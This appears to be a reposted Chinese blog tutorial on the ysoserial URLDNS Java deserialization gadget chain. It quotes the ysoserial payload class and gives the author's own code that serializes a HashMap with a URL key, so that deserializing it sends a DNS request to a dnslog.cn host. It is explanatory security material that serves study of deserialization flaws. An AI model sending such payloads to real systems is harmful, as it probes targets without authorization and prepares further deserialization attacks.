ysoserial之URLDNS

news/2024/12/25 10:42:47/文章来源:https://www.cnblogs.com/yingzui/p/18629622

URLDNS是https://github.com/frohoff/ysoserial的一个利用链,算是比较简单的一种,代码如下:

package ysoserial.payloads;import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;/***   Gadget Chain:*     HashMap.readObject()*       HashMap.putVal()*         HashMap.hash()*           URL.hashCode()***/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {public Object getObject(final String url) throws Exception {//Avoid DNS resolution during payload creation//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.URLStreamHandler handler = new SilentURLStreamHandler();HashMap ht = new HashMap(); URL u = new URL(null, url, handler); ht.put(u, url); Reflections.setFieldValue(u, "hashCode", -1); return ht;}public static void main(final String[] args) throws Exception {PayloadRunner.run(URLDNS.class, args);}static class SilentURLStreamHandler extends URLStreamHandler {protected URLConnection openConnection(URL u) throws IOException {return null;}protected synchronized InetAddress getHostAddress(URL u) {return null;}}
}

上面比较抽象,在这里,我自己写一些代码,来解释URLDNS:

条件

由于反序列化时,需要调用的是readObject()方法,而开发者经常自己会重写readObject()方法。

首先,要满足反序列化攻击,需要满足的几个条件:

  1. 共同条件:实现Serializable 接口,即:可以序列化的
  2. 入口类(source):重写readObject方法,而且最好在重写的readObject方法里面还调用一个常见的函数(hashCode函数,toString函数等),
  3. 参数类型宽泛,最好jdk自带的,比如Map接口,HashMap类,HashTable;

以HashMap为例

  1. 首先可以序列化,因为实现Serializable 接口

  1. 参数类型宽泛,因为HashMap接受的类型是Object
  2. 而且jdk自带
  3. 重写readObject方法

为什么HashMap类要重写readObject方法呢?因为HashMap需要保证键(key)的唯一性,所以需要计算键(key)的hashCode,如下图:发现调用了hash函数

继续跟上去,发现hash函数接受一个Object类型的key,如果不为空的话,就会调用key的hashCode()函数来计算hashCode()

即:HashMapreadObject()

HashMapputVal()

HashMaphash(key)

HashMaphashCode() : key.hashCode()

调用链(gadget chain)

一般是利用相同名称,相同类型

由上面条件可以知道,我们新建一个HashMap时,会计算key的hashCode值,即最终会调用key.hashCode(),而如果我们传入的key是一个java.net.URL对象呢?我们看看看URL类的hashCode方法:

上面发现首先自定义了一个hashCode变量,然后判断hashCode值,如果值不等于-1,那么直接返回hashCode值,否则再执行handler.hashCode()方法,接着跟下去:

发现handler的hashCode() 方法,会执行getHostAddress() 方法,接着跟着getHostAddress()走:

getByName()方法的作用是根据域名获取其ip,其实就是一次DNS查询。

即:

URL.hashCode

handler.hashCode()

getHostAddress()

getByName()

知道了整个逻辑,写如下代码

有几点要注意:

1,为什么要使用反射修改hashCode的值呢?

答:因为如果hashCode的值不等于-1,就不会执行hashCode()方法了,由于HashMap在put的时候,也会调用putVal(),hash()方法,所以我们需要在put之前就利用反射把hashCode的值改了,只要不为-1就不会再序列化时调用hashCode方法了,否则会在序列化阶段就执行hashCode()方法。在执行put方法之后,我们再利用反射把hashCode的值设为-1,让其调用hashCode方法,从而解析域名,发送一次DNS请求。

package io.ser2;import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;public class Serializable {public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {System.out.println("序列化中===========");URL url = new URL("http://wo3i7l.dnslog.cn");//通过反射设置URL对象的hashCode值Class<?> clazz = Class.forName("java.net.URL");Field hashField = clazz.getDeclaredField("hashCode");hashField.setAccessible(true);//这里hashCode不能设置为-1,因为不是-1就不会调用hashCode()方法了。而在下面设置hashCode为-1,是因为我们想让在反序列化的时候执行hashCode()方法hashField.set(url,123);//定义一个HashMapHashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();//初始化一个URL对象,作为key放在hashmap的key中hashmap.put(url,1);//在这里设置hashCode为-1,是因为我们想让在反序列化的时候执行hashCode()方法hashField.set(url,-1);serialize(hashmap);System.out.println("序列化完毕==========");}private static void serialize(Object o) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));oos.writeObject(o);oos.close();}}
package io.ser2;import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;public class DeSerializable {public static void main(String[] args) throws IOException, ClassNotFoundException {System.out.println("反序列化中=========");deserialize();}public static Object deserialize() throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.txt"));Object o = ois.readObject();ois.close();return o;}}

此时看urldns源码

总结一下

URLDNS的利用链如下,这里直接引用p牛的,p牛牛p

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/858546.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RK3506各型号该怎么选?瑞芯微全新工业芯片介绍 触觉智能出品

RK3506各型号该怎么选?瑞芯微全新工业芯片介绍,还将推出与星闪技术相结合的RK3506星闪网关开发板RK3506是瑞芯微Rockchip在2024年第四季度全新推出的Arm嵌入式芯片平台,三核Cortex-A7+单核Cortex-M0多核异构设计,CPU频率达1.5Ghz, M0 MCU为200Mhz。RK3506平台各型号芯片该怎…

Chapter 6 Optimize decision making with AI - Simple versus Intelligent Data Analytics

decision making ≈ data driven decision making Data-driven decision-making refers to leveraging aggregated and summarized data to drive critical decisions. The data serves as a compass, allowing you to refine your “gut feeling” and minimize bias in your …

智能网联汽车网络安全开发解决方案

随着智能网联技术的发展,智能网联汽车为用户带来了越来越多的便捷、舒适的用车体验,同时智能网联相关功能潜在被攻击的风险和威胁也在持续增加。经纬恒润网络安全团队密切关注行业发展趋势,致力于为国内外客户提供优质的网络安全咨询服务。在智能网联汽车电子电气架构(EEA)开…

PCIe扫盲——PCIe总线物理层入门

前面的文章简单的介绍了一些关于PCIe总线事务层(Transaction Layer)和数据链路层(Data Link Layer)的一些基本概念。这篇文章来继续聊一聊PCIe总线的最底层——物理层(Physical Layer)。在PCIe Spec中,物理层是被分为两个部分单独介绍的,分别是物理层逻辑子层和物理层电…

【教程】第十二章 会议室预约管理

通过循序渐进的功能升级,你将打造一个强大的管理系统,让团队协作更高效、流程更智能。相信如今的你,对于 NocoBase 已经非常熟悉了。 在这一章中,我们来一同实现以一个特殊的场景:会议管理模块。 该模块包含了会议室预定与通知等功能。在这个过程中,我们将逐步从零构建一…

log4j2 rce

log4j2 rce 介绍 Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。 由于Apache Log4j2某些功能存在递归…

推荐一个C#轻量级矢量图形库

推荐一个轻量级矢量图形库,可用于生成 PDF、SVG、PNG等。 01 项目简介 VectSharp 是一个功能强大的 C# 库,专门用于创建矢量图形,包括文本,不依赖任何第三方,支持跨平台运行,包括 Mac、Windows 和 Linux。使得开发者可以更容易地在他们的项目中集成矢量图形的生成和处理。…

EasyExcel,被救了!

11月6日消息,阿里巴巴旗下的Java Excel工具库EasyExcel近日宣布,将停止更新,未来将逐步进入维护模式,将继续修复Bug,但不再主动新增功能。EasyExcel以其快速、简洁和解决大文件内存溢出的能力而著称,官方测试显示,仅需16M内存即可读取75M(46万行25列)的Excel文件,且耗…

批处理介绍

目录一、常用命令1.文件夹管理 2. 文件管理 3. 网络命令 4. 系统管理二、基本语法1. 注释 2. 变量 3. 判断 4. 循环 5. 函数 6. 文件操作 7. 字符串操作7.1 字符串连接 7.2 字符串截取 7.3 字符串查找: 7.4 字符串替换:8. 变量延迟三、基本指令1. rem 和 :: 2. echo 和 @ 3. …

GaussDB SQL查询语句执行过程解析

​ 前沿 SQL于关系型数据库而言,重要性不言而喻。就像一个乐团的指挥,指导着作品的正确演绎和节奏的和谐统一。华为云GaussDB作为新一代关系型分布式数据库,具备卓越的技术性能和行业竞争力。很多人对GaussDB的关键技术很好奇: GaussDB SQL语句到底是如何执行的? GaussDB …

GaussDB OM运维管理关键技术方案

GaussDB Kernel V5 OM运维管理关键模块如下。 OM 运维主要功能有:安装升级节点替换扩容、缩容自动告警巡检备份恢复、容灾日志分析系统在华为云的部署模式下,OM相关组件部署示意图如下:图7 华为云OM运维管理 用户登录华为云Console,访问GaussDB Kernel V5的管控页面,输入想…

Coordinate Spaces

Coordinate Spaces 本主题包含以下部分:根空间用户空间像素空间任何VisionPro图像支持一系列坐标空间,以提供一个数值框架来表达特定特征的位置。最有用的空间是根空间,它将点与原始获取图像中的像素相关联,以及用户空间,用于在标定和固定的空间中获取特征位置和测量值。 …